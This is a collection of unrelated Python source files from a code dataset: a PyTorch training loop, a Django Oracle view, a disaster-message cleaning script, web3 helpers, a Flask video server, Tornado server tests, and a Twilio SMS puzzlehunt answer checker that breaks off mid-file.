smoothing=0.1):\n \"\"\"\n Constructor for the LabelSmoothing module.\n :param smoothing: label smoothing factor\n \"\"\"\n super(LabelSmoothingCrossEntropy, self).__init__()\n assert smoothing < 1.0\n self.smoothing = smoothing\n self.confidence = 1. - smoothing\n\n def forward(self, x, target):\n logprobs = F.log_softmax(x, dim=-1)\n nll_loss = -logprobs.gather(dim=-1, index=target.unsqueeze(1))\n nll_loss = nll_loss.squeeze(1)\n smooth_loss = -logprobs.mean(dim=-1)\n loss = self.confidence * nll_loss + self.smoothing * smooth_loss\n return loss.mean()\n\n\nif __name__ == '__main__':\n CFG = Config\n parser = argparse.ArgumentParser(description=\"PyTorch Template Training\")\n parser.add_argument(\"--model_arch\", default=CFG.arch, help=\"\", type=str)\n parser.add_argument(\"--lr\", default=CFG.lr, help=\"\", type=float)\n parser.add_argument(\"--image_size\", default=CFG.image_size, help=\"\", type=int)\n args = parser.parse_args()\n\n CFG.arch = args.model_arch\n CFG.lr = args.lr\n CFG.image_size = args.image_size\n\n print('model_arch:', CFG.arch)\n print('lr:', CFG.lr)\n print('image_size:', CFG.image_size)\n\n train = pd.read_csv(CFG.train_csv_path)\n\n if CFG.debug:\n CFG.epochs = 1\n train = train.sample(100, random_state=CFG.seed).reset_index(drop=True)\n\n print('CFG seed is ', CFG.seed)\n if CFG.seed is not None:\n seed_everything(CFG.seed)\n\n folds = StratifiedKFold(\n n_splits=CFG.num_splits,\n shuffle=True,\n random_state=CFG.seed).split(np.arange(train.shape[0]), train.label.values)\n\n cross_accuracy = []\n for fold, (train_idx, val_idx) in enumerate(folds):\n ########\n # load data\n #######\n train_loader, val_loader = load_dataloader(CFG, train, train_idx, val_idx)\n\n device = torch.device(CFG.device)\n # assert(CFG.num_classes == train.label.nunique())\n model = CassavaClassifier(CFG.arch, train.label.nunique(), pretrained=True).to(device)\n\n scaler = GradScaler()\n # optimizer = torch.optim.Adam(\n # model.parameters(),\n # lr=CFG.lr,\n # weight_decay=CFG.weight_decay)\n optimizer = torch.optim.SGD(\n model.parameters(),\n lr=CFG.lr,\n momentum=0.9,\n weight_decay=CFG.weight_decay,\n nesterov=True)\n\n # scheduler = torch.optim.lr_scheduler.CosineAnnealingWarmRestarts(\n # optimizer,\n # T_0=CFG.T_0,\n # T_mult=CFG.T_mult,\n # eta_min=CFG.min_lr,\n # last_epoch=-1)\n scheduler = torch.optim.lr_scheduler.MultiStepLR(optimizer, milestones=CFG.milestones, gamma=0.1)\n\n\n ########\n # criterion\n #######\n if CFG.criterion == 'LabelSmoothingCrossEntropy': #### label smoothing cross entropy\n loss_train = LabelSmoothingCrossEntropy(smoothing=CFG.label_smoothing)\n elif CFG.criterion == 'bitempered':\n loss_train = BiTemperedLogisticLoss(t1=0.3, t2=1.0,smoothing=CFG.label_smoothing) # clw note: now have bug...\n elif CFG.criterion == 'Taylor':\n loss_train = TaylorCrossEntropyLoss(n=2, smoothing=CFG.label_smoothing)\n else:\n loss_train = nn.CrossEntropyLoss().to(device)\n #loss_val = nn.CrossEntropyLoss().to(device)\n loss_val = loss_train\n\n best_accuracy = 0\n best_epoch = 0\n for epoch in range(CFG.epochs):\n if epoch < CFG.freeze_bn_epochs:\n freeze_batchnorm_stats(model)\n train_one_epoch(\n epoch,\n model,\n loss_train,\n optimizer,\n train_loader,\n device,\n scheduler=scheduler,\n schd_batch_update=False)\n\n with torch.no_grad():\n epoch_accuracy = valid_one_epoch(\n epoch,\n model,\n loss_val,\n val_loader,\n device,\n scheduler=None,\n schd_loss_update=False)\n\n if epoch_accuracy > best_accuracy:\n torch.save(model.state_dict(), '{}_fold{}_best_{}.ckpt'.format(CFG.arch, fold, epoch_accuracy))\n best_accuracy = epoch_accuracy\n best_epoch = epoch\n print('Best model is saved')\n cross_accuracy += [best_accuracy]\n print('Fold{} best accuracy = {} in epoch {}'.format(fold, best_accuracy, best_epoch))\n del model, optimizer, train_loader, val_loader, scaler, scheduler\n torch.cuda.empty_cache()\n print('{} folds cross validation CV = {:.5f}'.format(CFG.num_splits, np.average(cross_accuracy)))","sub_path":"train_holychen.py","file_name":"train_holychen.py","file_ext":"py","file_size_in_byte":21080,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"152608814","text":"from django.shortcuts import render\nfrom django.http import HttpResponse, HttpRequest\nfrom django.shortcuts import get_object_or_404\nfrom rest_framework.views import APIView\nfrom rest_framework.response import Response\nfrom rest_framework import status\nimport cx_Oracle\nimport os\nfrom django.views import generic\nfrom django.db import connections\n\n\ndef get_roam_operators(request, msisdn, country_id):\n cursor = connections['ppcdb'].cursor()\n cur = cursor.connection.cursor()\n \n i_subs_id=None\n i_int_request_id=1\n i_client_app_type=\"MyTcell_Lite_Web\"\n i_client_app_version=\"v1\"\n o_country_name = cur.var(cx_Oracle.NCHAR)\n o_roam_partners = cursor.connection.cursor()\n o_exit_location_id = cur.var(cx_Oracle.STRING)\n o_responce_id = cur.var(cx_Oracle.NUMBER)\n o_result = cur.var(cx_Oracle.NUMBER)\n o_err_msg = cur.var(cx_Oracle.STRING)\n\n cur.callproc('mytcell_lite_pack.get_roam_partners', (\n i_subs_id, msisdn, i_int_request_id, i_client_app_type, i_client_app_version,\n country_id, o_country_name, o_roam_partners, o_exit_location_id, o_responce_id, o_result, o_err_msg))\n\n columns = [i[0] for i in o_roam_partners.description]\n\n partners={}\n country_name={}\n partners['operators']=[dict(zip(columns, row)) for row in o_roam_partners]\n country_name['country_name']=o_country_name.getvalue()\n partners['country_info']=[country_name]\n \n partners['results']=[{\n 'o_exit_location_id' : o_exit_location_id.getvalue(),\n 'o_responce_id' : int(o_responce_id.getvalue()),\n 'err_code' : int(o_result.getvalue()),\n 'err_msg' : o_err_msg.getvalue()\n }]\n\n cur.close()\n cursor.close()\n\n return render(request, \"mytcell_lite_app/roaming_operators.html\", context=partners)\n","sub_path":"mytcell_lite_app/roam_operators_view.py","file_name":"roam_operators_view.py","file_ext":"py","file_size_in_byte":1780,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"160881832","text":"import sys\n\nimport nltk\nimport string\nimport numpy as np\nimport pandas as pd\nimport re\n\nfrom nltk.corpus import stopwords\nfrom nltk.stem.snowball import SnowballStemmer\n\ndef get_unique_list_of_values(input_df,col,delimiter=\";\"):\n '''\n INPUT\n input_df: Input data frame containing the column which contains multiple categories separated by \";\" delimiter\n colname : Column name which is to be used for computation of standard deviation value\n OUTPUT \n input_df: Updated data frame containing engineered features\n '''\n col_series = input_df[col]\n col_series_new = col_series.dropna()\n i=0\n for s in col_series_new:\n col_series_new_list = s.split(delimiter)\n col_series_new_list = [val [:-2] for val in col_series_new_list]\n if i==0:\n consol_list = col_series_new_list\n else:\n for j in col_series_new_list:\n consol_list.insert(len(consol_list), j)\n i += 1\n list_of_unique_values = list(set(consol_list))\n print (\"List of unique values for \",col,\" :\\n\" , list_of_unique_values)\n print (\"# of unique values for \",col,\" :\" , len(list_of_unique_values))\n \n #Create category labels for each of those items\n label_prefix = \"Cat_\"\n cat_labels = [label_prefix + val for val in list_of_unique_values]\n \n return list_of_unique_values, cat_labels\n\n\ndef create_cat_cols_for_multvalcols(source_col,source_value_list,cat_col_list,input_df):\n '''\n INPUT\n source col - source column from which category columns to be created\n source_value_list - list containing values to be searched in the source column\n cat_col_list - list containing category column names to be created\n colname_prefix - Prefix for column name to be created for rows with missing values\n others_categ_list - List of categories that need to be cmbined in \"Others\" category\n input_df - source df\n OUTPUT\n output_df - Updated source df containing category columns created as per columns\n listed in cat_col_list\n '''\n output_df = input_df\n i=0\n for source_value in source_value_list:\n cat_col = cat_col_list[i]\n pattern = source_value + '-1'\n print(\"cat col = \",cat_col,\"source col = \",source_col)\n output_df [cat_col] = np.where(output_df[source_col].str.contains(pattern),1,0)\n i += 1\n \n #output_df = output_df.drop(['id','categories'],axis=1)\n return output_df\n\n\ndef load_data(messages_filepath, categories_filepath):\n '''\n INPUT\n messages_file_path - filepath of the messages dataset \n categories_file_path - filepath of the categories dataset \n OUTPUT\n output_df - A dataset containing messages and categories merged into a single dataframe\n '''\n #Load data into respective dataframes\n df = pd.read_csv(messages_filepath)\n df2 = pd.read_csv(categories_filepath)\n \n #Update the categories dataframe to include new columns - one column for each category i.e. one hot encoding form\n target_label_lst,cat_labels = get_unique_list_of_values(df2,'categories')\n df2 = create_cat_cols_for_multvalcols('categories',target_label_lst,cat_labels,df2)\n print(\"df shape \", df.shape,\"df2 shape\",df2.shape)\n \n #Create a new dataframe to include the message dataframe and the labels dataframe\n df_new = pd.concat([df,df2],axis=1)\n \n #Create a new column that sums up the category labels (which are in binary format) for each observation. \n #This would be used for EDA\n df_new ['LabelSum'] = df_new.iloc[:,5:].sum(axis=1)\n return df_new\n\n\ndef clean_text(text):\n '''\n INPUTS\n text - Observation containing text string\n OUTPUTS\n clean_tokens - List containing tokens from cleaned text\n '''\n ## Remove puncuation\n text = text.translate(string.punctuation)\n \n ## Convert words to lower case and split them\n text = text.lower().split()\n \n ## Remove stop words\n stops = set(stopwords.words(\"english\"))\n text = [w for w in text if not w in stops and len(w) >= 3]\n \n text = \" \".join(text) ## Clean the text\n text = re.sub(r\"[^A-Za-z0-9^,!.\\/'+-=]\", \" \", text)\n text = re.sub(r\"what's\", \"what is \", text)\n text = re.sub(r\"\\'s\", \" \", text)\n text = re.sub(r\"\\'ve\", \" have \", text)\n text = re.sub(r\"n't\", \" not \", text)\n text = re.sub(r\"i'm\", \"i am \", text)\n text = re.sub(r\"\\'re\", \" are \", text)\n text = re.sub(r\"\\'d\", \" would \", text)\n text = re.sub(r\"\\'ll\", \" will \", text)\n text = re.sub(r\",\", \" \", text)\n text = re.sub(r\"\\.\", \" \", text)\n text = re.sub(r\"!\", \" ! \", text)\n text = re.sub(r\"\\/\", \" \", text)\n text = re.sub(r\"\\^\", \" ^ \", text)\n text = re.sub(r\"\\+\", \" + \", text)\n text = re.sub(r\"\\-\", \" - \", text)\n text = re.sub(r\"\\=\", \" = \", text)\n text = re.sub(r\"'\", \" \", text)\n text = re.sub(r\"(\\d+)(k)\", r\"\\g<1>000\", text)\n text = re.sub(r\":\", \" : \", text)\n text = re.sub(r\" e g \", \" eg \", text)\n text = re.sub(r\" b g \", \" bg \", text)\n text = re.sub(r\" u s \", \" american \", text)\n text = re.sub(r\"\\0s\", \"0\", text)\n text = re.sub(r\" 9 11 \", \"911\", text)\n text = re.sub(r\"e - mail\", \"email\", text)\n text = re.sub(r\"j k\", \"jk\", text)\n text = re.sub(r\"\\s{2,}\", \" \", text) ## Stemming\n text = text.split()\n stemmer = SnowballStemmer('english')\n stemmed_words = [stemmer.stem(word) for word in text]\n text = \" \".join(stemmed_words)\n \n return text\n\ndef clean_data(df):\n '''\n INPUT\n df - source df\n \n OUTPUT\n df - Updated source dataframe \n '''\n #Get index list of messages where message is null and delete the same from the dataframe\n null_message_index_list = df[df['message'].isnull()].index.tolist()\n print(\"No of observations with null messages\", len(null_message_index_list))\n print(\"Df shape before deleting observations with null messages\",df.shape)\n df = df.drop(null_message_index_list)\n print(\"Df shape after deleting observations with null messages\",df.shape)\n \n # apply the clean_text function to df['text']\n df['cleaned_message'] = df['message'].map(lambda x: clean_text(x))\n null_message_index_list = df[df['cleaned_message'].isnull()].index.tolist()\n print(\"No of observations with null values in cleaned messages\", len(null_message_index_list))\n print(\"Df shape before deleting observations with null messages\",df.shape)\n df = df.drop(null_message_index_list)\n print(\"Df shape after deleting observations with null messages\",df.shape)\n \n #Drop the id columns from the dataframe that are present as a result of concatenation from message and category dataframes\n df = df.drop(['id'],axis=1)\n print(\"Df shape after dropping id columns\",df.shape)\n \n return df\n\n\ndef save_data(df, database_filename):\n '''\n INPUTS\n df - Dataframe containing messages and categories merged into a single dataset\n OUTPUTS\n database_filename - Filepath for the SQLite database that will host the dataset containing\n messages and categories\n '''\n from sqlalchemy import create_engine\n import sqlite3\n \n df.to_csv('df_consol.csv')\n \n # connect to the database\n # the database filename will include path and db file name including .db extension\n # note that sqlite3 will create this database file if it does not exist already\n engine_string = 'sqlite:///' + database_filename\n engine = create_engine(engine_string,echo=True)\n sqlite_connection = engine.connect()\n \n #table_name = database_filename[:-3] #Drops the .db extension to create a table with the rest of the string\n #Extract the table name from filepath\n import re\n\n search_for_dbname = re.search('/(.+?).db', database_filename)\n\n if search_for_dbname:\n tablename_incl_path = search_for_dbname.group(1)\n\n word_list = tablename_incl_path.split(\"/\")\n table_name = word_list[len(word_list) -1]\n \n sqlite_table = table_name\n \n conn = sqlite3.connect(database_filename)\n\n # get a cursor\n cur = conn.cursor()\n\n # drop the test table in case it already exists\n #df_merged.to_sql('merged', con = conn, if_exists='replace', index=False)\n #drop_table_sql = \"DROP TABLE IF EXISTS \" + table_name\n #cur.execute(drop_table_sql)\n \n df.to_sql (sqlite_table,sqlite_connection,if_exists='replace',index=False)\n \n sqlite_connection.close()\n conn.close()\n pass \n\n\ndef main():\n '''\n INPUTS\n messages_file_path - filepath of the messages dataset \n categories_file_path - filepath of the categories dataset\n database_filename - Filepath for the SQLite database that will host the dataset\n containing messages and categories\n OUTPUTS\n Cleaned data (comprising original messages (original and cleaned) messages and categories) \n stored in the user specified SQLite database \n '''\n if len(sys.argv) == 4:\n\n messages_filepath, categories_filepath, database_filepath = sys.argv[1:]\n\n print('Loading data...\\n MESSAGES: {}\\n CATEGORIES: {}'\n .format(messages_filepath, categories_filepath))\n df = load_data(messages_filepath, categories_filepath)\n\n print('Cleaning data...')\n df = clean_data(df)\n \n print('Saving data...\\n DATABASE: {}'.format(database_filepath))\n save_data(df, database_filepath)\n \n print('Cleaned data saved to database!')\n \n else:\n print('Please provide the filepaths of the messages and categories '\\\n 'datasets as the first and second argument respectively, as '\\\n 'well as the filepath of the database to save the cleaned data '\\\n 'to as the third argument. \\n\\nExample: python process_data.py '\\\n 'disaster_messages.csv disaster_categories.csv '\\\n 'DisasterResponse.db')\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"web_app/data/process_data.py","file_name":"process_data.py","file_ext":"py","file_size_in_byte":10189,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"566450937","text":"from web3 import Web3\nfrom web3.utils.threads import (\n Timeout,\n)\n\n\ndef check_succesful_tx(web3: Web3, txid: str, timeout=180) -> dict:\n '''See if transaction went through (Solidity code did not throw).\n :return: Transaction receipt\n '''\n receipt = wait_for_transaction_receipt(web3, txid, timeout=timeout)\n txinfo = web3.eth.getTransaction(txid)\n assert txinfo['gas'] != receipt['gasUsed']\n return receipt\n\n\ndef wait_for_transaction_receipt(web3, txid, timeout=180):\n with Timeout(timeout) as time:\n while not web3.eth.getTransactionReceipt(txid):\n time.sleep(5)\n\n return web3.eth.getTransactionReceipt(txid)\n","sub_path":"raiden_contracts/utils/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":667,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"212807589","text":"from utils import word_parse\nfrom utils.feedbk import conn_database\nfrom utils.video_process import VideoProcessor, VideoNotFoundError, VideoCombinedError\nfrom flask import Flask, request, jsonify, make_response, abort, send_file, render_template, url_for\nimport os\nimport logging\nimport json\nfrom argparse import ArgumentParser\n\nparser = ArgumentParser()\nparser.add_argument('-host', type=str, default='127.0.0.1')\nparser.add_argument('-port', type=int, default=8080)\nparser.add_argument('-d', '--debug', default=False, action=\"store_true\")\n\nargs = parser.parse_args()\n\nlogging.basicConfig(level=logging.ERROR,\n format='%(asctime)s %(levelname)s %(message)s',\n datefmt='%Y-%m-%d %H:%M',\n handlers=[logging.FileHandler('error.log', 'a', 'utf-8'), ])\n\napp = Flask(__name__)\n\nif not os.path.exists(\"tmp\"):\n os.mkdir(\"tmp\")\nif not os.path.exists(\"tmp\"):\n os.mkdir(\"video\")\n\n\n@app.route(\"/\")\ndef index():\n return render_template(\"index.html\")\n\n@app.route('/video', methods=['GET'])\ndef get_video():\n if request.method == 'GET':\n video_id = request.values.get('v')\n file_path = os.path.join(\"video\", f\"{video_id}.mp4\")\n\n if os.path.exists(file_path):\n return send_file(file_path)\n else:\n abort(404)\n\n\n@app.route('/resource', methods=['GET'])\ndef get_resource():\n if request.method == 'GET':\n r = request.values.get('r')\n file_path = os.path.join(\"resource\", r)\n\n if os.path.exists(file_path):\n return send_file(file_path)\n else:\n abort(404)\n\n@app.route('/api/video', methods=['POST'])\ndef make_video():\n if request.method == 'POST':\n text = request.values.get('text')\n text = text.strip()\n if len(text) == 0:\n return make_response(\"empty\", 500)\n if len(text) > 50:\n return make_response(\"too long\", 500)\n try:\n bopomofo = word_parse.get_bopomofo(text)\n v = VideoProcessor()\n video_id = v.get_video(bopomofo)\n print(video_id)\n return jsonify({\n \"video_id\": video_id\n })\n except VideoNotFoundError as e:\n logging.error(e)\n return make_response(\"not found\", 500)\n except VideoCombinedError as e:\n logging.error(e)\n return make_response(\"unknown\", 500)\n except Exception as e:\n logging.error(e)\n return make_response(\"unknown\", 500)\n\n@app.route('/api/feedback', methods = ['POST'])\ndef feedback():\n text = request.value.get('feedback')\n if text is None:\n return make_response(\"need feedback\", 400)\n text = text.strip()\n if len(text) == 0:\n return make_response(\"feedback is empty\", 400)\n if len(text) > 500:\n return make_response(\"feedback is too long\", 400)\n conn_database(text) \n return make_response(\"successful\", 200)\n \n\n@app.context_processor\ndef override_url_for():\n return dict(url_for=dated_url_for)\n\n\ndef dated_url_for(endpoint, **values):\n if endpoint == 'static':\n filename = values.get('filename', None)\n if filename:\n file_path = os.path.join(app.root_path,\n endpoint, filename)\n values['q'] = int(os.stat(file_path).st_mtime)\n return url_for(endpoint, **values)\n\nif __name__ == \"__main__\":\n app.run(host=args.host, port=args.port, debug=args.debug)\n","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":3486,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"457496403","text":"from __future__ import absolute_import, division, print_function\n\nimport socket\n\nfrom tornado import gen\nfrom tornado.iostream import IOStream\nfrom tornado.log import app_log\nfrom tornado.stack_context import NullContext\nfrom tornado.tcpserver import TCPServer\nfrom tornado.test.util import skipBefore35, exec_test\nfrom tornado.testing import AsyncTestCase, ExpectLog, bind_unused_port, gen_test\n\n\nclass TCPServerTest(AsyncTestCase):\n @gen_test\n def test_handle_stream_coroutine_logging(self):\n # handle_stream may be a coroutine and any exception in its\n # Future will be logged.\n class TestServer(TCPServer):\n @gen.coroutine\n def handle_stream(self, stream, address):\n yield gen.moment\n stream.close()\n 1 / 0\n\n server = client = None\n try:\n sock, port = bind_unused_port()\n with NullContext():\n server = TestServer()\n server.add_socket(sock)\n client = IOStream(socket.socket())\n with ExpectLog(app_log, \"Exception in callback\"):\n yield client.connect(('localhost', port))\n yield client.read_until_close()\n yield gen.moment\n finally:\n if server is not None:\n server.stop()\n if client is not None:\n client.close()\n\n @skipBefore35\n @gen_test\n def test_handle_stream_native_coroutine(self):\n # handle_stream may be a native coroutine.\n\n namespace = exec_test(globals(), locals(), \"\"\"\n class TestServer(TCPServer):\n async def handle_stream(self, stream, address):\n stream.write(b'data')\n stream.close()\n \"\"\")\n\n sock, port = bind_unused_port()\n server = namespace['TestServer']()\n server.add_socket(sock)\n client = IOStream(socket.socket())\n yield client.connect(('localhost', port))\n result = yield client.read_until_close()\n self.assertEqual(result, b'data')\n server.stop()\n client.close()\n\n def test_stop_twice(self):\n sock, port = bind_unused_port()\n server = TCPServer()\n server.add_socket(sock)\n server.stop()\n server.stop()\n\n @gen_test\n def test_stop_in_callback(self):\n # Issue #2069: calling server.stop() in a loop callback should not\n # raise EBADF when the loop handles other server connection\n # requests in the same loop iteration\n\n class TestServer(TCPServer):\n @gen.coroutine\n def handle_stream(self, stream, address):\n server.stop()\n yield stream.read_until_close()\n\n sock, port = bind_unused_port()\n server = TestServer()\n server.add_socket(sock)\n server_addr = ('localhost', port)\n N = 40\n clients = [IOStream(socket.socket()) for i in range(N)]\n connected_clients = []\n\n @gen.coroutine\n def connect(c):\n try:\n yield c.connect(server_addr)\n except EnvironmentError:\n pass\n else:\n connected_clients.append(c)\n\n yield [connect(c) for c in clients]\n\n self.assertGreater(len(connected_clients), 0,\n \"all clients failed connecting\")\n try:\n if len(connected_clients) == N:\n # Ideally we'd make the test deterministic, but we're testing\n # for a race condition in combination with the system's TCP stack...\n self.skipTest(\"at least one client should fail connecting \"\n \"for the test to be meaningful\")\n finally:\n for c in connected_clients:\n c.close()\n\n # Here tearDown() would re-raise the EBADF encountered in the IO loop\n","sub_path":"www/src/py/test/tornado-master/tornado/test/tcpserver_test.py","file_name":"tcpserver_test.py","file_ext":"py","file_size_in_byte":3896,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"268692359","text":"from flask import Flask, request, redirect, Response\nfrom pymongo import MongoClient\nimport twilio.twiml\nimport re\nimport datetime\n\nimport os\n\n\n\napp = Flask(__name__)\n\nteam_names = {}\n\n# Enter the answer to the puzzle. No whitespace allowed\nanswers = {\n \"1\": \"TILT\",\n \"2\": \"THERMOMETER\",\n \"3\": \"ONIONRING\",\n \"4\": \"FLYTRAP\",\n \"5\": \"WEREWOLF\",\n \"6\": \"CURIOSITY\",\n \"7\": \"REDSPOT\",\n \"8\": \"DEEPBLUE\",\n \"META\": \"NOADMITSFROMPLUTO\"\n}\n\n# Enter the flavor text given for a correct answer\nstoryline = {\n \"1\": \"\",\n \"2\": \"\",\n \"3\": \"\",\n \"4\": \"\",\n \"5\": \"\",\n \"6\": \"\",\n \"7\": \"\",\n \"8\": \"\",\n}\n\nclient = MongoClient()\n#print(client.list_database_names())\n\ndb = client.aqua #make sure to set up a db called aqua beforehand\nteams = db.teams\nsubans = db.subans\n\nstock_messages = {\n \"Welcome\": \"Welcome to MIT, {team_name}. Go find some puzzles in yellow envelopes! Start texting us with answers [PUZZLE NO.] [SOLUTION], for example,'1 balloon' if the answer for puzzle 1 was balloon.\",\n \"Help\": \"Text [PUZZLE NO.] [SOLUTION], like '1 balloon', and we'll let you know if you are correct. Read the puzzle solving tips in the intro doc! If you need more help, find a staff member wearing a hat.\",\n \"Name Already Taken\": \"Sorry, the name '{team_name_new}' is already taken. Text 'yes' to accept the name '{team_name_temp}' or text to create a new one\",\n \"Name Already Taken First\": \"Sorry, the name '{team_name_new}' is already taken. Text to create a new one\",\n \"Name Too Long\": \"Sorry, please keep your name under 30 characters. Text 'yes' to accept the name '{team_name_temp}' or text to create a new one\",\n \"Name Too Long First\": \"Sorry, please keep your name under 30 characters. Text to create a new one\",\n \"Confirm Name\": \"Welcome to the Aquarium Puzzlehunt! Text 'yes' to accept the name '{team_name_temp}' or text to create a new one\",\n \"Parse Error\": \"I'm sorry, we didn't understand '{text}'. Please text answers in the format [PUZZLE NO.] [SOLUTION], like '1 balloon'\",\n \"Problem Not Exists\": \"We don't have a puzzle {puzzle_number}...\",\n \"Correct\": \"Your answer of {answer} is Correct!{storyline}\",\n \"Incorrect\": \"Sorry, your answer {answer} for puzzle {puzzle_number} was incorrect. Please try again.\",\n \"Already Answered\": \"You've already completed puzzle {puzzle_number}, go find another one!\",\n \"Final Puzzle\": \"Your answer of {answer} is Correct!{storyline} You have solved all 8 puzzles! Come to the front desk to receive the meta puzzle! To submit the meta, text 'meta' and then the answer\",\n \"Meta Correct\": \"Congratulations {team_name}, {answer} was correct! Go see Mission Control at the front desk!\",\n \"Meta Answered\": \"Yeah, we're upset about Pluto too. Since we're in an aquarium, perhaps you should consider this: https://www.quora.com/What-would-happen-if-the-Earth-was-hit-by-a-fish-the-size-of-Pluto\",\n \"Meta Incorrect\": \"Sorry, {answer} was wrong. Please try again.\"\n}\n\nspecial_messages = {\n \"2\": {\n \"TEMPERATUREMEASURER\": \"You’re almost there! What’s a word for a TEMPERATURE MEASURER?\"\n }\n}\n\nparse_length = len(stock_messages[\"Parse Error\"].format(text=\"\"))\nname_length = len(stock_messages[\"Welcome\"].format(team_name=\"\"))\nreDigits = re.compile(r\"^\\d+$\")\nreEndWhitespace = re.compile(r\"\\s+$\")\nreBeginWhitespace = re.compile(r\"^\\s+\")\nreWhitespace = re.compile(r\"\\s+\")\n\ndef parse_error(command):\n if len(command) + parse_length < 160:\n return stock_messages[\"Parse Error\"].format(text=command)\n else:\n return stock_messages[\"Parse Error\"].format(text=(command[:160-parse_length-4] + \" ...\"))\n\ndef parse_puzzle_answers(team,from_number,root,leaf):\n if root in answers:\n if root in team[u'Correct']:\n return stock_messages[\"Already Answered\"].format(puzzle_number=root)\n elif leaf == answers[root].upper():\n teams.update({\"Number\":from_number},{\"$push\":{\"Correct\":root},\"$set\":{\"SolveTimes.\"+root:datetime.datetime.utcnow()}})\n subans.update({\"_Puzzle\":root},{\"$inc\":{leaf:1},\"$addToSet\":{\"_Answers\":leaf}},True)\n\n if len(team[u'Correct']) >= 7:\n return stock_messages[\"Final Puzzle\"].format(puzzle_number=root, answer=leaf, storyline=storyline[root], team_name=team[u'Name'])\n else:\n return stock_messages[\"Correct\"].format(puzzle_number=root, answer=leaf, storyline=storyline[root])\n elif root in special_messages and leaf in special_messages[root]:\n subans.update({\"_Puzzle\":root},{\"$inc\":{leaf:1},\"$addToSet\":{\"_Answers\":leaf}},True)\n return special_messages[root][leaf]\n else:\n subans.update({\"_Puzzle\":root},{\"$inc\":{leaf:1},\"$addToSet\":{\"_Answers\":leaf}},True)\n return stock_messages[\"Incorrect\"].format(puzzle_number=root, answer=leaf)\n else:\n return stock_messages[\"Problem Not Exists\"].format(puzzle_number=root)\n\n@app.route(\"/answers.txt\")\ndef show_answers():\n ret = \"\"\n for ans in subans.find():\n ret += ans[u'_Puzzle'] + \"\\r\\n\"\n ret += \"\\r\\n\".join(['\"{}\",{}'.format(k,ans[k]) for k in ans[u'_Answers']])\n ret += \"\\r\\n\"\n\n return Response(ret, mimetype='text/plain')\n\n@app.route(\"/solvedpuzzles.txt\")\ndef show_stats():\n total_solved = [0]*10\n puzzles_solved = [0]*9\n for team in teams.find():\n for i in range(10):\n if len(team[u'Correct']) == i:\n total_solved[i] += 1\n for i in range(8):\n if str(i+1) in team[u'Correct']:\n puzzles_solved[i] += 1\n if \"META\" in team[u'Correct']:\n puzzles_solved[8] += 1\n\n ret = \"# of Teams by total # of problems solved:\\r\\n\"\n for i in range(10):\n ret += str(i) + \": \" + str(total_solved[i]) + \"\\r\\n\"\n\n ret += \"\\r\\n# of puzzle solves by puzzle:\\r\\n\"\n for i in range(8):\n ret += str(i) + \": \" + str(puzzles_solved[i]) + \"\\r\\n\"\n\n ret += \"META: \" + str(puzzles_solved[8])\n\n return Response(ret, mimetype='text/plain')\n\n@app.route(\"/allteams.txt\")\ndef show_teams():\n ret = \"\"\n for team in teams.find():\n if \"StartTime\" in team:\n if \"META\" in team[u'Correct']:\n ret+= \"FINISHED(\" + str(team['SolveTimes']['META']-team[u'StartTime']) +\") \"\n else:\n ret+= \"ELAPSED(\" + str(datetime.datetime.utcnow()-team[u'StartTime']) +\") \"\n ret += '\"' + team[u'TempName'] + '\",' + \",\".join(team[u'Correct']) +\" \"+ team[u'StartTime'].strftime(\"%H:%M:%S\") + \"\\r\\n\"\n return Response(ret, mimetype='text/plain')\n\n@app.route(\"/\", methods=['GET', 'POST'])\ndef hello_monkey():\n\n from_number = request.values.get('From', None)\n command = reBeginWhitespace.sub('', reEndWhitespace.sub('', request.values.get('Body', None)))\n\n tokens = command.split(None, 1)\n\n team = teams.find_one({\"Number\":from_number})\n\n message = parse_error(command)\n\n if team == None:\n if len(command) < 31:\n if teams.find_one({\"$or\":[{\"Name\":command}, {\"TempName\":command}]}) == None:\n message = stock_messages[\"Confirm Name\"].format(team_name_temp=command)\n teams.insert({\"Number\":from_number,\"TempName\":command,\"Correct\":list()})\n else:\n message = stock_messages[\"Name Already Taken First\"].format(team_name_new=command)\n else:\n message = stock_messages[\"Name Too Long First\"]\n elif \"Name\" not in team:\n if tokens[0].upper() == 'YES':\n teams.update({\"Number\":from_number},{\"$set\":{\"Name\":team[u'TempName']}})\n teams.update({\"Number\":from_number},{\"$set\":{\"StartTime\":datetime.datetime.utcnow()}})\n message = stock_messages[\"Welcome\"].format(team_name=team[u'TempName'])\n elif len(command) < 31:\n if teams.find_one({\"$or\":[{\"Name\":command}, {\"TempName\":command}]}) == None:\n teams.update({\"Number\":from_number},{\"$set\":{\"TempName\":command}})\n message = stock_messages[\"Confirm Name\"].format(team_name_temp=command)\n else:\n message = stock_messages[\"Name Already Taken\"].format(team_name_new=command,team_name_temp=team[u'TempName'])\n else:\n message = stock_messages[\"Name Too Long\"].format(team_name_temp=team[u'TempName'])\n elif len(tokens) == 2:\n root,leaf = tokens\n if reDigits.search(root) != None:\n message = parse_puzzle_answers(team, from_number, root, reWhitespace.sub('',leaf).upper())\n elif root.upper() == \"META\":\n if \"META\" in team[u'Correct']:\n message = stock_messages[\"Meta Answered\"]\n else:\n if reWhitespace.sub('',leaf).upper() == answers[\"META\"].upper():\n message = stock_messages[\"Meta Correct\"].format(answer=reWhitespace.sub('',leaf).upper(), team_name=team[u'Name'])\n teams.update({\"Number\":from_number},{\"$push\":{\"Correct\":root.upper()},\"$set\":{\"SolveTimes.META\":datetime.datetime.utcnow()}})\n subans.update({\"_Puzzle\":\"META\"},{\"$inc\":{leaf:1},\"$addToSet\":{\"_Answers\":leaf}},True)\n else:\n message = stock_messages[\"Meta Incorrect\"].format(answer=reWhitespace.sub('',leaf).upper())\n subans.update({\"_Puzzle\":\"META\"},{\"$inc\":{leaf:1},\"$addToSet\":{\"_Answers\":leaf}},True)\n elif root.upper() == 